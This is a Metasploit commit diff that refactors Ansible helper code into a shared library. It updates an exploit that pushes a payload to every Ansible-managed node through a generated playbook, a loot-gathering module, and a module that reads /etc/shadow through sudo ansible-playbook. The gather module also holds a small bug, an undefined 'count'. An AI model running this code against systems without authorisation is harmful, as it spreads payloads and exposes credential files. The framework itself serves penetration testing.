Skip to content

Commit

Permalink
ansible post library
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Dec 24, 2023
1 parent 11c12fc commit 357bdc8
Show file tree
Hide file tree
Showing 4 changed files with 117 additions and 96 deletions.
80 changes: 80 additions & 0 deletions lib/msf/core/exploit/local/ansible.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
# -*- coding: binary -*-

module Msf
module Exploit::Local::Ansible
def initialize(info = {})
super

register_advanced_options([
Msf::OptString.new('ANSIBLE', [true, 'Ansible executable location', '']),
Msf::OptString.new('ANSIBLEPLAYBOOK', [true, 'Ansible-playbook executable location', '']),
])
end

#
# Uses the ansible command to ping hosts, returns an array of hashes
#
# @param ansible_exe [String] The name location of the ansible executable
# @param hosts [String] The host string to use, defaults to 'all'
# @return [Array] containing a hash for each host. Each has consists of the
# following parameters: host, status, ping, changed
#
def ping_hosts(ansible_exe = datastore['ANSIBLE'], hosts = 'all')
results = cmd_exec("#{ansible_exe} #{hosts} -m ping -o")
# here's a regex with test: https://rubular.com/r/FMHhWx8QlVnidA
regex = /(\S+)\s+\|\s+([A-Z]+)\s+=>\s+({.+})$/
matches = results.scan(regex)

hosts = []
matches.each do |match|
match[2] = JSON.parse(match[2])
hosts << { 'host' => match[0], 'status' => match[1], 'ping' => match[2]['ping'], 'changed' => match[2]['changed'] }
end
hosts
end

#
# Attempts to find the ansible-playbook executable. Verifies the
# executable is executable by the user as well. Defaults to looking in
# standard locations for Ubuntu and Docker:
# ('/usr/local/bin/ansible-playbook', '/usr/bin/ansible-playbook')
#
# @param suggestion [String] The location of the ansible-playbook executable if
# not in a standard location
# @return [String, nil] The executable location or nil if not found
#
def ansible_playbook_exe(suggestion = datastore['ANSIBLEPLAYBOOK'])
return @ansible_playbook if @ansible_playbook

[suggestion, '/usr/local/bin/ansible-playbook', '/usr/bin/ansible-playbook'].each do |exec|
next if exec.nil? || exec.empty?
next unless executable?(exec)

@ansible_playbook = exec
end
@ansible_playbook
end

#
# Attempts to find the ansible executable. Verifies the
# executable is executable by the user as well. Defaults to looking in
# standard locations for Ubuntu and Docker:
# ('/usr/local/bin/ansible')
#
# @param suggestion [String] The location of the ansible executable if
# not in a standard location
# @return [String, nil] The executable location or nil if not found
#
def ansible_exe(suggestion = datastore['ANSIBLE'])
return @ansible if @ansible

[suggestion, '/usr/local/bin/ansible'].each do |exec|
next if exec.nil? || exec.empty?
next unless executable?(exec)

@ansible = exec
end
@ansible
end
end
end
68 changes: 14 additions & 54 deletions modules/exploits/linux/local/ansible_node_deployer.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Ansible

prepend Msf::Exploit::Remote::AutoCheck

Expand Down Expand Up @@ -48,8 +49,6 @@ def initialize(info = {})
)
)
register_options [
OptString.new('ANSIBLE', [true, 'Ansible executable location', '']),
OptString.new('ANSIBLEPLAYBOOK', [true, 'Ansible-playbook executable location', '']),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
Expand All @@ -58,30 +57,6 @@ def initialize(info = {})
]
end

def ansible_exe
return @ansible if @ansible

['/usr/local/bin/ansible', datastore['ANSIBLE']].each do |exec|
next unless file?(exec)
next unless executable?(exec)

@ansible = exec
end
@ansible
end

def ansible_playbook
return @ansible_playbook if @ansible_playbook

['/usr/local/bin/ansible-playbook', '/usr/bin/ansible-playbook', datastore['ANSIBLEPLAYBOOK']].each do |exec|
next unless file?(exec)
next unless executable?(exec)

@ansible_playbook = exec
end
@ansible_playbook
end

def module_contents(payload_name)
# The `name` field in `tasks` is a required field, and it gets logged, so randomizing may be a little too obvious, I've opted for just numbers in this case.
"- name: #{Rex::Text.rand_text_numeric(3..6)}
Expand All @@ -100,31 +75,29 @@ def module_contents(payload_name)
mode: '0700'
- name: 3
command: #{datastore['TargetWritableDir']}/#{payload_name}
- name: 4
file:
path: #{datastore['TargetWritableDir']}/#{payload_name}
state: absent
"
end

def check
return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook.nil?
return CheckCode::Safe('Ansible does not seem to be installed, unable to find ansible executable') if ansible_playbook_exe.nil?

CheckCode::Vulnerable('ansible executable found')
end

def ping_hosts
results = cmd_exec("#{ansible_exe} #{datastore['HOSTS']} -m ping -o")
pings = store_loot('ansible.ping', 'text/plain', session, results, 'ansible.ping', 'Ansible ping status')
print_good("Stored pings to: #{pings}")
def ping_hosts_print
results = ping_hosts

columns = ['Host', 'Status', 'Ping', 'Changed']
table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)
# here's a regex with test: https://rubular.com/r/FMHhWx8QlVnidA
regex = /(\S+)\s+\|\s+([A-Z]+)\s+=>\s+({.+})$/
matches = results.scan(regex)

count = 0
matches.each do |match|
match[2] = JSON.parse(match[2])
table << [match[0], match[1], match[2]['ping'], match[2]['changed']]
count += 1 if match[2]['ping'] == 'pong'
results.each do |match|
table << [match['host'], match['status'], match['ping'], match['changed']]
count += 1 if match['ping'] == 'pong'
end
print_good(table.to_s) unless table.rows.empty?
# give the user a few seconds to cancel if its too many etc
Expand All @@ -135,7 +108,7 @@ def ping_hosts
def exploit
# Make sure we can write our exploit and payload to the local system
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
ping_hosts if datastore['CALCULATE']
ping_hosts_print if datastore['CALCULATE']

payload_name = rand_text_alphanumeric(5..10)
module_name = rand_text_alphanumeric(5..10)
Expand All @@ -146,9 +119,9 @@ def exploit
register_file_for_cleanup(yaml_file)
print_status('Writing payload')
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", generate_payload_exe
register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}")
register_file_for_cleanup("#{datastore['WritableDir']}/#{payload_name}") # cleanup payload on host, not targets
print_status('Executing ansible job')
resp = cmd_exec("#{ansible_playbook} #{yaml_file}")
resp = cmd_exec("#{ansible_playbook_exe} #{yaml_file}")
playbook_log = store_loot('ansible.playbook.log', 'text/plain', session, resp, 'ansible.playbook.log', 'Ansible playbook log')
print_good("Stored run logs to: #{playbook_log}")
# stolen from exploit/multi/handler
Expand All @@ -161,17 +134,4 @@ def exploit
end
end

def on_new_session(_session)
super
cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi')

begin
print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}")
cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}")
print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed")
rescue StandardError
print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}")
end
end

end
45 changes: 19 additions & 26 deletions modules/post/linux/gather/ansible.rb
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Exploit::Local::Ansible

def initialize(info = {})
super(
Expand Down Expand Up @@ -33,24 +34,16 @@ def initialize(info = {})

register_options(
[
OptString.new('ANSIBLE', [true, 'Ansible executable location', '']),
OptString.new('ANSIBLEINVENTORY', [true, 'Ansible-inventory executable location', '']),
OptString.new('ANSIBLECFG', [true, 'Ansible config file location', '']),
OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
], self.class
)
end

def ansible_exe
return @ansible if @ansible

['/usr/local/bin/ansible', datastore['ANSIBLE']].each do |exec|
next unless file?(exec)
next unless executable?(exec)

@ansible = exec
end
@ansible
register_advanced_options(
[
OptString.new('ANSIBLEINVENTORY', [true, 'Ansible-inventory executable location', '']),
], self.class
)
end

def ansible_inventory
Expand All @@ -68,33 +61,33 @@ def ansible_inventory
def ansible_cfg
return @ansible_cfg if @ansible_cfg

['/etc/ansible/ansible.cfg', datastore['ANSIBLECFG']].each do |f|
[datastore['ANSIBLECFG'], '/etc/ansible/ansible.cfg', '/playbook/ansible.cfg'].each do |f|
next if f.empty?
next unless file?(f)

@ansible_cfg = f
end
@ansible_cfg
end

def ping_hosts
results = cmd_exec("#{ansible_exe} #{datastore['HOSTS']} -m ping -o")
pings = store_loot('ansible.ping', 'text/plain', session, results, 'ansible.ping', 'Ansible ping status')
print_good("Stored pings to: #{pings}")
def ping_hosts_print
results = ping_hosts

columns = ['Host', 'Status', 'Ping', 'Changed']
table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)
# here's a regex with test: https://rubular.com/r/FMHhWx8QlVnidA
regex = /(\S+)\s+\|\s+([A-Z]+)\s+=>\s+({.+})$/
matches = results.scan(regex)

matches.each do |match|
match[2] = JSON.parse(match[2])
table << [match[0], match[1], match[2]['ping'], match[2]['changed']]
results.each do |match|
table << [match['host'], match['status'], match['ping'], match['changed']]
count + 1 if match['ping'] == 'pong'
end
print_good(table.to_s) unless table.rows.empty?
end

def conf
return unless file?(ansible_cfg)
unless file?(ansible_cfg)
print_bad('Unable to find config file')
return
end

ansible_config = read_file(ansible_cfg)
stored_config = store_loot('ansible.cfg', 'text/plain', session, ansible_config, 'ansible.cfg', 'Ansible config file')
Expand Down Expand Up @@ -129,7 +122,7 @@ def hosts_list
def run
fail_with(Failure::NotFound, 'Ansible executable not found') if ansible_exe.nil?
hosts_list
ping_hosts
ping_hosts_print
conf
end
end
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Exploit::Local::Ansible

def initialize(info = {})
super(
Expand Down Expand Up @@ -38,7 +39,6 @@ def initialize(info = {})

register_options(
[
OptString.new('ANSIBLEPLAYBOOK', [true, 'Ansible-playbook executable location', '']),
OptString.new('FILE', [true, 'File to read the first line of', '/etc/shadow']),
], self.class
)
Expand All @@ -50,21 +50,9 @@ def initialize(info = {})
)
end

def ansible_exe
return @ansible if @ansible

['/usr/local/bin/ansible-playbook', '/usr/bin/ansible-playbook', datastore['ANSIBLEPLAYBOOK']].each do |exec|
next unless file?(exec)
next unless executable?(exec)

@ansible = exec
end
@ansible
end

def run
fail_with(Failure::NotFound, 'Ansible-playbook executable not found') if ansible_exe.nil?
fail_with(Failure::NotFound, "Target file to read not found: #{datastore['file']}") unless file?(datastore['FILE'])
fail_with(Failure::NotFound, 'Ansible-playbook executable not found') if ansible_playbook_exe.nil?
fail_with(Failure::NotFound, "Target file to read not found: #{datastore['FILE']}") unless file?(datastore['FILE'])

vprint_status('Checking sudo')
# check we can sudo
Expand All @@ -86,7 +74,7 @@ def run
end
fail_with(Failure::NoAccess, "ansible-playbook can't be run with a passwordless sudo") unless can_sudo_playbook

cmd = "sudo -n #{ansible_exe} #{datastore['FILE']}"
cmd = "sudo -n #{ansible_playbook_exe} #{datastore['FILE']}"
print_status "Executing: #{cmd}"
output = cmd_exec(cmd).to_s

Expand Down

0 comments on commit 357bdc8

Please sign in to comment.